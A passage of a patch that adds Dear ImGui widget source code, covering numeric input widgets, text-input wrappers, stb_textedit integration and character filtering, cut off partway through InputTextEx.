IM_ARRAYSIZE(fmt_buf)); + DataTypeFormatString(data_buf, IM_ARRAYSIZE(data_buf), data_type, p_data, format); + ImStrTrimBlanks(data_buf); + + ImGuiInputTextFlags flags = ImGuiInputTextFlags_AutoSelectAll | ImGuiInputTextFlags_NoMarkEdited; + flags |= ((data_type == ImGuiDataType_Float || data_type == ImGuiDataType_Double) ? ImGuiInputTextFlags_CharsScientific : ImGuiInputTextFlags_CharsDecimal); + bool value_changed = false; + if (TempInputText(bb, id, label, data_buf, IM_ARRAYSIZE(data_buf), flags)) + { + // Backup old value + size_t data_type_size = DataTypeGetInfo(data_type)->Size; + ImGuiDataTypeTempStorage data_backup; + memcpy(&data_backup, p_data, data_type_size); + + // Apply new value (or operations) then clamp + DataTypeApplyOpFromText(data_buf, g.InputTextState.InitialTextA.Data, data_type, p_data, NULL); + if (p_clamp_min || p_clamp_max) + { + if (DataTypeCompare(data_type, p_clamp_min, p_clamp_max) > 0) + ImSwap(p_clamp_min, p_clamp_max); + DataTypeClamp(data_type, p_data, p_clamp_min, p_clamp_max); + } + + // Only mark as edited if new value is different + value_changed = memcmp(&data_backup, p_data, data_type_size) != 0; + if (value_changed) + MarkItemEdited(id); + } + return value_changed; +} + +// Note: p_data, p_step, p_step_fast are _pointers_ to a memory address holding the data. For an Input widget, p_step and p_step_fast are optional. +// Read code of e.g. InputFloat(), InputInt() etc. or examples in 'Demo->Widgets->Data Types' to understand how to use this function directly. +bool ImGui::InputScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_step, const void* p_step_fast, const char* format, ImGuiInputTextFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + ImGuiStyle& style = g.Style; + + if (format == NULL) + format = DataTypeGetInfo(data_type)->PrintFmt; + + char buf[64]; + DataTypeFormatString(buf, IM_ARRAYSIZE(buf), data_type, p_data, format); + + bool value_changed = false; + if ((flags & (ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsScientific)) == 0) + flags |= ImGuiInputTextFlags_CharsDecimal; + flags |= ImGuiInputTextFlags_AutoSelectAll; + flags |= ImGuiInputTextFlags_NoMarkEdited; // We call MarkItemEdited() ourselves by comparing the actual data rather than the string. + + if (p_step != NULL) + { + const float button_size = GetFrameHeight(); + + BeginGroup(); // The only purpose of the group here is to allow the caller to query item data e.g. IsItemActive() + PushID(label); + SetNextItemWidth(ImMax(1.0f, CalcItemWidth() - (button_size + style.ItemInnerSpacing.x) * 2)); + if (InputText("", buf, IM_ARRAYSIZE(buf), flags)) // PushId(label) + "" gives us the expected ID from outside point of view + value_changed = DataTypeApplyOpFromText(buf, g.InputTextState.InitialTextA.Data, data_type, p_data, format); + + // Step buttons + const ImVec2 backup_frame_padding = style.FramePadding; + style.FramePadding.x = style.FramePadding.y; + ImGuiButtonFlags button_flags = ImGuiButtonFlags_Repeat | ImGuiButtonFlags_DontClosePopups; + if (flags & ImGuiInputTextFlags_ReadOnly) + button_flags |= ImGuiButtonFlags_Disabled; + SameLine(0, style.ItemInnerSpacing.x); + if (ButtonEx("-", ImVec2(button_size, button_size), button_flags)) + { + DataTypeApplyOp(data_type, '-', p_data, p_data, g.IO.KeyCtrl && p_step_fast ? p_step_fast : p_step); + value_changed = true; + } + SameLine(0, style.ItemInnerSpacing.x); + if (ButtonEx("+", ImVec2(button_size, button_size), button_flags)) + { + DataTypeApplyOp(data_type, '+', p_data, p_data, g.IO.KeyCtrl && p_step_fast ? p_step_fast : p_step); + value_changed = true; + } + + const char* label_end = FindRenderedTextEnd(label); + if (label != label_end) + { + SameLine(0, style.ItemInnerSpacing.x); + TextEx(label, label_end); + } + style.FramePadding = backup_frame_padding; + + PopID(); + EndGroup(); + } + else + { + if (InputText(label, buf, IM_ARRAYSIZE(buf), flags)) + value_changed = DataTypeApplyOpFromText(buf, g.InputTextState.InitialTextA.Data, data_type, p_data, format); + } + if (value_changed) + MarkItemEdited(window->DC.LastItemId); + + return value_changed; +} + +bool ImGui::InputScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, const void* p_step, const void* p_step_fast, const char* format, ImGuiInputTextFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + bool value_changed = false; + BeginGroup(); + PushID(label); + PushMultiItemsWidths(components, CalcItemWidth()); + size_t type_size = GDataTypeInfo[data_type].Size; + for (int i = 0; i < components; i++) + { + PushID(i); + if (i > 0) + SameLine(0, g.Style.ItemInnerSpacing.x); + value_changed |= InputScalar("", data_type, p_data, p_step, p_step_fast, format, flags); + PopID(); + PopItemWidth(); + p_data = (void*)((char*)p_data + type_size); + } + PopID(); + + const char* label_end = FindRenderedTextEnd(label); + if (label != label_end) + { + SameLine(0.0f, g.Style.ItemInnerSpacing.x); + TextEx(label, label_end); + } + + EndGroup(); + return value_changed; +} + +bool ImGui::InputFloat(const char* label, float* v, float step, float step_fast, const char* format, ImGuiInputTextFlags flags) +{ + flags |= ImGuiInputTextFlags_CharsScientific; + return InputScalar(label, ImGuiDataType_Float, (void*)v, (void*)(step > 0.0f ? &step : NULL), (void*)(step_fast > 0.0f ? &step_fast : NULL), format, flags); +} + +bool ImGui::InputFloat2(const char* label, float v[2], const char* format, ImGuiInputTextFlags flags) +{ + return InputScalarN(label, ImGuiDataType_Float, v, 2, NULL, NULL, format, flags); +} + +bool ImGui::InputFloat3(const char* label, float v[3], const char* format, ImGuiInputTextFlags flags) +{ + return InputScalarN(label, ImGuiDataType_Float, v, 3, NULL, NULL, format, flags); +} + +bool ImGui::InputFloat4(const char* label, float v[4], const char* format, ImGuiInputTextFlags flags) +{ + return InputScalarN(label, ImGuiDataType_Float, v, 4, NULL, NULL, format, flags); +} + +bool ImGui::InputInt(const char* label, int* v, int step, int step_fast, ImGuiInputTextFlags flags) +{ + // Hexadecimal input provided as a convenience but the flag name is awkward. Typically you'd use InputText() to parse your own data, if you want to handle prefixes. + const char* format = (flags & ImGuiInputTextFlags_CharsHexadecimal) ? "%08X" : "%d"; + return InputScalar(label, ImGuiDataType_S32, (void*)v, (void*)(step > 0 ? &step : NULL), (void*)(step_fast > 0 ? &step_fast : NULL), format, flags); +} + +bool ImGui::InputInt2(const char* label, int v[2], ImGuiInputTextFlags flags) +{ + return InputScalarN(label, ImGuiDataType_S32, v, 2, NULL, NULL, "%d", flags); +} + +bool ImGui::InputInt3(const char* label, int v[3], ImGuiInputTextFlags flags) +{ + return InputScalarN(label, ImGuiDataType_S32, v, 3, NULL, NULL, "%d", flags); +} + +bool ImGui::InputInt4(const char* label, int v[4], ImGuiInputTextFlags flags) +{ + return InputScalarN(label, ImGuiDataType_S32, v, 4, NULL, NULL, "%d", flags); +} + +bool ImGui::InputDouble(const char* label, double* v, double step, double step_fast, const char* format, ImGuiInputTextFlags flags) +{ + flags |= ImGuiInputTextFlags_CharsScientific; + return InputScalar(label, ImGuiDataType_Double, (void*)v, (void*)(step > 0.0 ? &step : NULL), (void*)(step_fast > 0.0 ? &step_fast : NULL), format, flags); +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: InputText, InputTextMultiline, InputTextWithHint +//------------------------------------------------------------------------- +// - InputText() +// - InputTextWithHint() +// - InputTextMultiline() +// - InputTextEx() [Internal] +//------------------------------------------------------------------------- + +bool ImGui::InputText(const char* label, char* buf, size_t buf_size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) +{ + IM_ASSERT(!(flags & ImGuiInputTextFlags_Multiline)); // call InputTextMultiline() + return InputTextEx(label, NULL, buf, (int)buf_size, ImVec2(0, 0), flags, callback, user_data); +} + +bool ImGui::InputTextMultiline(const char* label, char* buf, size_t buf_size, const ImVec2& size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) +{ + return InputTextEx(label, NULL, buf, (int)buf_size, size, flags | ImGuiInputTextFlags_Multiline, callback, user_data); +} + +bool ImGui::InputTextWithHint(const char* label, const char* hint, char* buf, size_t buf_size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) +{ + IM_ASSERT(!(flags & ImGuiInputTextFlags_Multiline)); // call InputTextMultiline() + return InputTextEx(label, hint, buf, (int)buf_size, ImVec2(0, 0), flags, callback, user_data); +} + +static int InputTextCalcTextLenAndLineCount(const char* text_begin, const char** out_text_end) +{ + int line_count = 0; + const char* s = text_begin; + while (char c = *s++) // We are only matching for \n so we can ignore UTF-8 decoding + if (c == '\n') + line_count++; + s--; + if (s[0] != '\n' && s[0] != '\r') + line_count++; + *out_text_end = s; + return line_count; +} + +static ImVec2 InputTextCalcTextSizeW(const ImWchar* text_begin, const ImWchar* text_end, const ImWchar** remaining, ImVec2* out_offset, bool stop_on_new_line) +{ + ImGuiContext& g = *GImGui; + ImFont* font = g.Font; + const float line_height = g.FontSize; + const float scale = line_height / font->FontSize; + + ImVec2 text_size = ImVec2(0, 0); + float line_width = 0.0f; + + const ImWchar* s = text_begin; + while (s < text_end) + { + unsigned int c = (unsigned int)(*s++); + if (c == '\n') + { + text_size.x = ImMax(text_size.x, line_width); + text_size.y += line_height; + line_width = 0.0f; + if (stop_on_new_line) + break; + continue; + } + if (c == '\r') + continue; + + const float char_width = font->GetCharAdvance((ImWchar)c) * scale; + line_width += char_width; + } + + if (text_size.x < line_width) + text_size.x = line_width; + + if (out_offset) + *out_offset = ImVec2(line_width, text_size.y + line_height); // offset allow for the possibility of sitting after a trailing \n + + if (line_width > 0 || text_size.y == 0.0f) // whereas size.y will ignore the trailing \n + text_size.y += line_height; + + if (remaining) + *remaining = s; + + return text_size; +} + +// Wrapper for stb_textedit.h to edit text (our wrapper is for: statically sized buffer, single-line, wchar characters. InputText converts between UTF-8 and wchar) +namespace ImStb +{ + +static int STB_TEXTEDIT_STRINGLEN(const STB_TEXTEDIT_STRING* obj) { return obj->CurLenW; } +static ImWchar STB_TEXTEDIT_GETCHAR(const STB_TEXTEDIT_STRING* obj, int idx) { return obj->TextW[idx]; } +static float STB_TEXTEDIT_GETWIDTH(STB_TEXTEDIT_STRING* obj, int line_start_idx, int char_idx) { ImWchar c = obj->TextW[line_start_idx + char_idx]; if (c == '\n') return STB_TEXTEDIT_GETWIDTH_NEWLINE; ImGuiContext& g = *GImGui; return g.Font->GetCharAdvance(c) * (g.FontSize / g.Font->FontSize); } +static int STB_TEXTEDIT_KEYTOTEXT(int key) { return key >= 0x200000 ? 0 : key; } +static ImWchar STB_TEXTEDIT_NEWLINE = '\n'; +static void STB_TEXTEDIT_LAYOUTROW(StbTexteditRow* r, STB_TEXTEDIT_STRING* obj, int line_start_idx) +{ + const ImWchar* text = obj->TextW.Data; + const ImWchar* text_remaining = NULL; + const ImVec2 size = InputTextCalcTextSizeW(text + line_start_idx, text + obj->CurLenW, &text_remaining, NULL, true); + r->x0 = 0.0f; + r->x1 = size.x; + r->baseline_y_delta = size.y; + r->ymin = 0.0f; + r->ymax = size.y; + r->num_chars = (int)(text_remaining - (text + line_start_idx)); +} + +static bool is_separator(unsigned int c) { return ImCharIsBlankW(c) || c==',' || c==';' || c=='(' || c==')' || c=='{' || c=='}' || c=='[' || c==']' || c=='|'; } +static int is_word_boundary_from_right(STB_TEXTEDIT_STRING* obj, int idx) { return idx > 0 ? (is_separator(obj->TextW[idx - 1]) && !is_separator(obj->TextW[idx]) ) : 1; } +static int STB_TEXTEDIT_MOVEWORDLEFT_IMPL(STB_TEXTEDIT_STRING* obj, int idx) { idx--; while (idx >= 0 && !is_word_boundary_from_right(obj, idx)) idx--; return idx < 0 ? 0 : idx; } +#ifdef __APPLE__ // FIXME: Move setting to IO structure +static int is_word_boundary_from_left(STB_TEXTEDIT_STRING* obj, int idx) { return idx > 0 ? (!is_separator(obj->TextW[idx - 1]) && is_separator(obj->TextW[idx]) ) : 1; } +static int STB_TEXTEDIT_MOVEWORDRIGHT_IMPL(STB_TEXTEDIT_STRING* obj, int idx) { idx++; int len = obj->CurLenW; while (idx < len && !is_word_boundary_from_left(obj, idx)) idx++; return idx > len ? len : idx; } +#else +static int STB_TEXTEDIT_MOVEWORDRIGHT_IMPL(STB_TEXTEDIT_STRING* obj, int idx) { idx++; int len = obj->CurLenW; while (idx < len && !is_word_boundary_from_right(obj, idx)) idx++; return idx > len ? len : idx; } +#endif +#define STB_TEXTEDIT_MOVEWORDLEFT STB_TEXTEDIT_MOVEWORDLEFT_IMPL // They need to be #define for stb_textedit.h +#define STB_TEXTEDIT_MOVEWORDRIGHT STB_TEXTEDIT_MOVEWORDRIGHT_IMPL + +static void STB_TEXTEDIT_DELETECHARS(STB_TEXTEDIT_STRING* obj, int pos, int n) +{ + ImWchar* dst = obj->TextW.Data + pos; + + // We maintain our buffer length in both UTF-8 and wchar formats + obj->Edited = true; + obj->CurLenA -= ImTextCountUtf8BytesFromStr(dst, dst + n); + obj->CurLenW -= n; + + // Offset remaining text (FIXME-OPT: Use memmove) + const ImWchar* src = obj->TextW.Data + pos + n; + while (ImWchar c = *src++) + *dst++ = c; + *dst = '\0'; +} + +static bool STB_TEXTEDIT_INSERTCHARS(STB_TEXTEDIT_STRING* obj, int pos, const ImWchar* new_text, int new_text_len) +{ + const bool is_resizable = (obj->UserFlags & ImGuiInputTextFlags_CallbackResize) != 0; + const int text_len = obj->CurLenW; + IM_ASSERT(pos <= text_len); + + const int new_text_len_utf8 = ImTextCountUtf8BytesFromStr(new_text, new_text + new_text_len); + if (!is_resizable && (new_text_len_utf8 + obj->CurLenA + 1 > obj->BufCapacityA)) + return false; + + // Grow internal buffer if needed + if (new_text_len + text_len + 1 > obj->TextW.Size) + { + if (!is_resizable) + return false; + IM_ASSERT(text_len < obj->TextW.Size); + obj->TextW.resize(text_len + ImClamp(new_text_len * 4, 32, ImMax(256, new_text_len)) + 1); + } + + ImWchar* text = obj->TextW.Data; + if (pos != text_len) + memmove(text + pos + new_text_len, text + pos, (size_t)(text_len - pos) * sizeof(ImWchar)); + memcpy(text + pos, new_text, (size_t)new_text_len * sizeof(ImWchar)); + + obj->Edited = true; + obj->CurLenW += new_text_len; + obj->CurLenA += new_text_len_utf8; + obj->TextW[obj->CurLenW] = '\0'; + + return true; +} + +// We don't use an enum so we can build even with conflicting symbols (if another user of stb_textedit.h leak their STB_TEXTEDIT_K_* symbols) +#define STB_TEXTEDIT_K_LEFT 0x200000 // keyboard input to move cursor left +#define STB_TEXTEDIT_K_RIGHT 0x200001 // keyboard input to move cursor right +#define STB_TEXTEDIT_K_UP 0x200002 // keyboard input to move cursor up +#define STB_TEXTEDIT_K_DOWN 0x200003 // keyboard input to move cursor down +#define STB_TEXTEDIT_K_LINESTART 0x200004 // keyboard input to move cursor to start of line +#define STB_TEXTEDIT_K_LINEEND 0x200005 // keyboard input to move cursor to end of line +#define STB_TEXTEDIT_K_TEXTSTART 0x200006 // keyboard input to move cursor to start of text +#define STB_TEXTEDIT_K_TEXTEND 0x200007 // keyboard input to move cursor to end of text +#define STB_TEXTEDIT_K_DELETE 0x200008 // keyboard input to delete selection or character under cursor +#define STB_TEXTEDIT_K_BACKSPACE 0x200009 // keyboard input to delete selection or character left of cursor +#define STB_TEXTEDIT_K_UNDO 0x20000A // keyboard input to perform undo +#define STB_TEXTEDIT_K_REDO 0x20000B // keyboard input to perform redo +#define STB_TEXTEDIT_K_WORDLEFT 0x20000C // keyboard input to move cursor left one word +#define STB_TEXTEDIT_K_WORDRIGHT 0x20000D // keyboard input to move cursor right one word +#define STB_TEXTEDIT_K_PGUP 0x20000E // keyboard input to move cursor up a page +#define STB_TEXTEDIT_K_PGDOWN 0x20000F // keyboard input to move cursor down a page +#define STB_TEXTEDIT_K_SHIFT 0x400000 + +#define STB_TEXTEDIT_IMPLEMENTATION +#include "imstb_textedit.h" + +// stb_textedit internally allows for a single undo record to do addition and deletion, but somehow, calling +// the stb_textedit_paste() function creates two separate records, so we perform it manually. (FIXME: Report to nothings/stb?) +static void stb_textedit_replace(STB_TEXTEDIT_STRING* str, STB_TexteditState* state, const STB_TEXTEDIT_CHARTYPE* text, int text_len) +{ + stb_text_makeundo_replace(str, state, 0, str->CurLenW, text_len); + ImStb::STB_TEXTEDIT_DELETECHARS(str, 0, str->CurLenW); + if (text_len <= 0) + return; + if (ImStb::STB_TEXTEDIT_INSERTCHARS(str, 0, text, text_len)) + { + state->cursor = text_len; + state->has_preferred_x = 0; + return; + } + IM_ASSERT(0); // Failed to insert character, normally shouldn't happen because of how we currently use stb_textedit_replace() +} + +} // namespace ImStb + +void ImGuiInputTextState::OnKeyPressed(int key) +{ + stb_textedit_key(this, &Stb, key); + CursorFollow = true; + CursorAnimReset(); +} + +ImGuiInputTextCallbackData::ImGuiInputTextCallbackData() +{ + memset(this, 0, sizeof(*this)); +} + +// Public API to manipulate UTF-8 text +// We expose UTF-8 to the user (unlike the STB_TEXTEDIT_* functions which are manipulating wchar) +// FIXME: The existence of this rarely exercised code path is a bit of a nuisance. +void ImGuiInputTextCallbackData::DeleteChars(int pos, int bytes_count) +{ + IM_ASSERT(pos + bytes_count <= BufTextLen); + char* dst = Buf + pos; + const char* src = Buf + pos + bytes_count; + while (char c = *src++) + *dst++ = c; + *dst = '\0'; + + if (CursorPos >= pos + bytes_count) + CursorPos -= bytes_count; + else if (CursorPos >= pos) + CursorPos = pos; + SelectionStart = SelectionEnd = CursorPos; + BufDirty = true; + BufTextLen -= bytes_count; +} + +void ImGuiInputTextCallbackData::InsertChars(int pos, const char* new_text, const char* new_text_end) +{ + const bool is_resizable = (Flags & ImGuiInputTextFlags_CallbackResize) != 0; + const int new_text_len = new_text_end ? (int)(new_text_end - new_text) : (int)strlen(new_text); + if (new_text_len + BufTextLen >= BufSize) + { + if (!is_resizable) + return; + + // Contrary to STB_TEXTEDIT_INSERTCHARS() this is working in the UTF8 buffer, hence the mildly similar code (until we remove the U16 buffer altogether!) + ImGuiContext& g = *GImGui; + ImGuiInputTextState* edit_state = &g.InputTextState; + IM_ASSERT(edit_state->ID != 0 && g.ActiveId == edit_state->ID); + IM_ASSERT(Buf == edit_state->TextA.Data); + int new_buf_size = BufTextLen + ImClamp(new_text_len * 4, 32, ImMax(256, new_text_len)) + 1; + edit_state->TextA.reserve(new_buf_size + 1); + Buf = edit_state->TextA.Data; + BufSize = edit_state->BufCapacityA = new_buf_size; + } + + if (BufTextLen != pos) + memmove(Buf + pos + new_text_len, Buf + pos, (size_t)(BufTextLen - pos)); + memcpy(Buf + pos, new_text, (size_t)new_text_len * sizeof(char)); + Buf[BufTextLen + new_text_len] = '\0'; + + if (CursorPos >= pos) + CursorPos += new_text_len; + SelectionStart = SelectionEnd = CursorPos; + BufDirty = true; + BufTextLen += new_text_len; +} + +// Return false to discard a character. +static bool InputTextFilterCharacter(unsigned int* p_char, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) +{ + unsigned int c = *p_char; + + // Filter non-printable (NB: isprint is unreliable! see #2467) + if (c < 0x20) + { + bool pass = false; + pass |= (c == '\n' && (flags & ImGuiInputTextFlags_Multiline)); + pass |= (c == '\t' && (flags & ImGuiInputTextFlags_AllowTabInput)); + if (!pass) + return false; + } + + // We ignore Ascii representation of delete (emitted from Backspace on OSX, see #2578, #2817) + if (c == 127) + return false; + + // Filter private Unicode range. GLFW on OSX seems to send private characters for special keys like arrow keys (FIXME) + if (c >= 0xE000 && c <= 0xF8FF) + return false; + + // Filter Unicode ranges we are not handling in this build. + if (c > IM_UNICODE_CODEPOINT_MAX) + return false; + + // Generic named filters + if (flags & (ImGuiInputTextFlags_CharsDecimal | ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsUppercase | ImGuiInputTextFlags_CharsNoBlank | ImGuiInputTextFlags_CharsScientific)) + { + // The libc allows overriding locale, with e.g. 'setlocale(LC_NUMERIC, "de_DE.UTF-8");' which affect the output/input of printf/scanf. + // The standard mandate that programs starts in the "C" locale where the decimal point is '.'. + // We don't really intend to provide widespread support for it, but out of empathy for people stuck with using odd API, we support the bare minimum aka overriding the decimal point. + // Change the default decimal_point with: + // ImGui::GetCurrentContext()->PlatformLocaleDecimalPoint = *localeconv()->decimal_point; + ImGuiContext& g = *GImGui; + const unsigned c_decimal_point = (unsigned int)g.PlatformLocaleDecimalPoint; + + // Allow 0-9 . - + * / + if (flags & ImGuiInputTextFlags_CharsDecimal) + if (!(c >= '0' && c <= '9') && (c != c_decimal_point) && (c != '-') && (c != '+') && (c != '*') && (c != '/')) + return false; + + // Allow 0-9 . - + * / e E + if (flags & ImGuiInputTextFlags_CharsScientific) + if (!(c >= '0' && c <= '9') && (c != c_decimal_point) && (c != '-') && (c != '+') && (c != '*') && (c != '/') && (c != 'e') && (c != 'E')) + return false; + + // Allow 0-9 a-F A-F + if (flags & ImGuiInputTextFlags_CharsHexadecimal) + if (!(c >= '0' && c <= '9') && !(c >= 'a' && c <= 'f') && !(c >= 'A' && c <= 'F')) + return false; + + // Turn a-z into A-Z + if (flags & ImGuiInputTextFlags_CharsUppercase) + if (c >= 'a' && c <= 'z') + *p_char = (c += (unsigned int)('A' - 'a')); + + if (flags & ImGuiInputTextFlags_CharsNoBlank) + if (ImCharIsBlankW(c)) + return false; + } + + // Custom callback filter + if (flags & ImGuiInputTextFlags_CallbackCharFilter) + { + ImGuiInputTextCallbackData callback_data; + memset(&callback_data, 0, sizeof(ImGuiInputTextCallbackData)); + callback_data.EventFlag = ImGuiInputTextFlags_CallbackCharFilter; + callback_data.EventChar = (ImWchar)c; + callback_data.Flags = flags; + callback_data.UserData = user_data; + if (callback(&callback_data) != 0) + return false; + *p_char = callback_data.EventChar; + if (!callback_data.EventChar) + return false; + } + + return true; +} + +// Edit a string of text +// - buf_size account for the zero-terminator, so a buf_size of 6 can hold "Hello" but not "Hello!". +// This is so we can easily call InputText() on static arrays using ARRAYSIZE() and to match +// Note that in std::string world, capacity() would omit 1 byte used by the zero-terminator. +// - When active, hold on a privately held copy of the text (and apply back to 'buf'). So changing 'buf' while the InputText is active has no effect. +// - If you want to use ImGui::InputText() with std::string, see misc/cpp/imgui_stdlib.h +// (FIXME: Rather confusing and messy function, among the worse part of our codebase, expecting to rewrite a V2 at some point.. Partly because we are +// doing UTF8 > U16 > UTF8 conversions on the go to easily interface with stb_textedit. Ideally should stay in UTF-8 all the time. See https://github.com/nothings/stb/issues/188) +bool ImGui::InputTextEx(const char* label, const char* hint, char* buf, int buf_size, const ImVec2& size_arg, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* callback_user_data) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + IM_ASSERT(buf != NULL && buf_size >= 0); + IM_ASSERT(!((flags & ImGuiInputTextFlags_CallbackHistory) && (flags & ImGuiInputTextFlags_Multiline))); // Can't use both together (they both use up/down keys) + IM_ASSERT(!((flags & ImGuiInputTextFlags_CallbackCompletion) && (flags & ImGuiInputTextFlags_AllowTabInput))); // Can't use both together (they both use tab key) + + ImGuiContext& g = *GImGui; + ImGuiIO& io = g.IO; + const ImGuiStyle& style = g.Style; + + const bool RENDER_SELECTION_WHEN_INACTIVE = false; + const bool is_multiline = (flags & ImGuiInputTextFlags_Multiline) != 0; + const bool is_readonly = (flags & ImGuiInputTextFlags_ReadOnly) != 0; + const bool is_password = (flags & ImGuiInputTextFlags_Password) != 0; + const bool is_undoable = (flags & ImGuiInputTextFlags_NoUndoRedo) == 0; + const bool is_resizable = (flags & ImGuiInputTextFlags_CallbackResize) != 0; + if (is_resizable) + IM_ASSERT(callback != NULL); // Must provide a callback if you set the ImGuiInputTextFlags_CallbackResize flag! + + if (is_multiline) // Open group before calling GetID() because groups tracks id created within their scope, + BeginGroup(); + const ImGuiID id = window->GetID(label); + const ImVec2 label_size = CalcTextSize(label, NULL, true); + const ImVec2 frame_size = CalcItemSize(size_arg, CalcItemWidth(), (is_multiline ? g.FontSize * 8.0f : label_size.y) + style.FramePadding.y * 2.0f); // Arbitrary default of 8 lines high for multi-line + const ImVec2 total_size = ImVec2(frame_size.x + (label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f), frame_size.y); + + const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + frame_size); + const ImRect total_bb(frame_bb.Min, frame_bb.Min + total_size); + + ImGuiWindow* draw_window = window; + ImVec2 inner_size = frame_size; + if (is_multiline) + { + if (!ItemAdd(total_bb, id, &frame_bb)) + { + ItemSize(total_bb, style.FramePadding.y); + EndGroup(); + return false; + } + + // We reproduce the contents of BeginChildFrame() in order to provide 'label' so our window internal data are easier to read/debug. + PushStyleColor(ImGuiCol_ChildBg, style.Colors[ImGuiCol_FrameBg]); + PushStyleVar(ImGuiStyleVar_ChildRounding, style.FrameRounding); + PushStyleVar(ImGuiStyleVar_ChildBorderSize, style.FrameBorderSize); + PushStyleVar(ImGuiStyleVar_WindowPadding, style.FramePadding); + bool child_visible = BeginChildEx(label, id, frame_bb.GetSize(), true, ImGuiWindowFlags_NoMove | ImGuiWindowFlags_AlwaysUseWindowPadding); + PopStyleVar(3); + PopStyleColor(); + if (!child_visible) + { + EndChild(); + EndGroup(); + return false; + } + draw_window = g.CurrentWindow; // Child window + draw_window->DC.NavLayerActiveMaskNext |= (1 << draw_window->DC.NavLayerCurrent); // This is to ensure that EndChild() will display a navigation highlight so we can "enter" into it. + inner_size.x -= draw_window->ScrollbarSizes.x; + } + else + { + ItemSize(total_bb, style.FramePadding.y); + if (!ItemAdd(total_bb, id, &frame_bb)) + return false; + } + const bool hovered = ItemHoverable(frame_bb, id); + if (hovered) + g.MouseCursor = ImGuiMouseCursor_TextInput; + + // We are only allowed to access the state if we are already the active widget. + ImGuiInputTextState* state = GetInputTextState(id); + + const bool focus_requested = FocusableItemRegister(window, id); + const bool focus_requested_by_code = focus_requested && (g.FocusRequestCurrWindow == window && g.FocusRequestCurrCounterRegular == window->DC.FocusCounterRegular); + const bool focus_requested_by_tab = focus_requested && !focus_requested_by_code; + + const bool user_clicked = hovered && io.MouseClicked[0]; + const bool user_nav_input_start = (g.ActiveId != id) && ((g.NavInputId == id) || (g.NavActivateId == id && g.NavInputSource == ImGuiInputSource_NavKeyboard)); + const bool user_scroll_finish = is_multiline && state != NULL && g.ActiveId == 0 && g.ActiveIdPreviousFrame == GetWindowScrollbarID(draw_window, ImGuiAxis_Y); + const bool user_scroll_active = is_multiline && state != NULL && g.ActiveId == GetWindowScrollbarID(draw_window, ImGuiAxis_Y); + + bool clear_active_id = false; + bool select_all = (g.ActiveId != id) && ((flags & ImGuiInputTextFlags_AutoSelectAll) != 0 || user_nav_input_start) && (!is_multiline); + + float scroll_y = is_multiline ? draw_window->Scroll.y : FLT_MAX; + + const bool init_changed_specs = (state != NULL && state->Stb.single_line != !is_multiline); + const bool init_make_active = (focus_requested || user_clicked || user_scroll_finish || user_nav_input_start); + const bool init_state = (init_make_active || user_scroll_active); + if ((init_state && g.ActiveId != id) || init_changed_specs) + { + // Access state even if we don't own it yet. + state = &g.InputTextState; + state->CursorAnimReset(); + + // Take a copy of the initial buffer value (both in original UTF-8 format and converted to wchar) + // From the moment we focused we are ignoring the content of 'buf' (unless we are in read-only mode) + const int buf_len = (int)strlen(buf); + state->InitialTextA.resize(buf_len + 1); // UTF-8. we use +1 to make sure that .Data is always pointing to at least an empty string. + memcpy(state->InitialTextA.Data, buf, buf_len + 1); + + // Start edition + const char* buf_end = NULL; + state->TextW.resize(buf_size + 1); // wchar count <= UTF-8 count. we use +1 to make sure that .Data is always pointing to at least an empty string. + state->TextA.resize(0); + state->TextAIsValid = false; // TextA is not valid yet (we will display buf until then) + state->CurLenW = ImTextStrFromUtf8(state->TextW.Data, buf_size, buf, NULL, &buf_end); + state->CurLenA = (int)(buf_end - buf); // We can't get the result from ImStrncpy() above because it is not UTF-8 aware. Here we'll cut off malformed UTF-8. + + // Preserve cursor position and undo/redo stack if we come back to same widget + // FIXME: For non-readonly widgets we might be able to require that TextAIsValid && TextA == buf ? (untested) and discard undo stack if user buffer has changed. + const bool recycle_state = (state->ID == id && !init_changed_specs); + if (recycle_state) + { + // Recycle existing cursor/selection/undo stack but clamp position + // Note a single mouse click will override the cursor/position immediately by calling stb_textedit_click handler. + state->CursorClamp(); + } + else + { + state->ID = id; + state->ScrollX = 0.0f; + stb_textedit_initialize_state(&state->Stb, !is_multiline); + if (!is_multiline && focus_requested_by_code) + select_all = true; + } + if (flags & ImGuiInputTextFlags_AlwaysInsertMode) + state->Stb.insert_mode = 1; + if (!is_multiline && (focus_requested_by_tab || (user_clicked && io.KeyCtrl))) + select_all = true; + } + + if (g.ActiveId != id && init_make_active) + { + IM_ASSERT(state && state->ID == id); + SetActiveID(id, window); + SetFocusID(id, window); + FocusWindow(window); + + // Declare our inputs + IM_ASSERT(ImGuiNavInput_COUNT < 32); + g.ActiveIdUsingNavDirMask |= (1 << ImGuiDir_Left) | (1 << ImGuiDir_Right); + if (is_multiline || (flags & ImGuiInputTextFlags_CallbackHistory)) + g.ActiveIdUsingNavDirMask |= (1 << ImGuiDir_Up) | (1 << ImGuiDir_Down); + g.ActiveIdUsingNavInputMask |= (1 << ImGuiNavInput_Cancel); + g.ActiveIdUsingKeyInputMask |= ((ImU64)1 << ImGuiKey_Home) | ((ImU64)1 << ImGuiKey_End); + if (is_multiline) + g.ActiveIdUsingKeyInputMask |= ((ImU64)1 << ImGuiKey_PageUp) | ((ImU64)1 << ImGuiKey_PageDown); + if (flags & (ImGuiInputTextFlags_CallbackCompletion | ImGuiInputTextFlags_AllowTabInput)) // Disable keyboard tabbing out as we will use the \t character. + g.ActiveIdUsingKeyInputMask |= ((ImU64)1 << ImGuiKey_Tab); + } + + // We have an edge case if ActiveId was set through another widget (e.g. widget 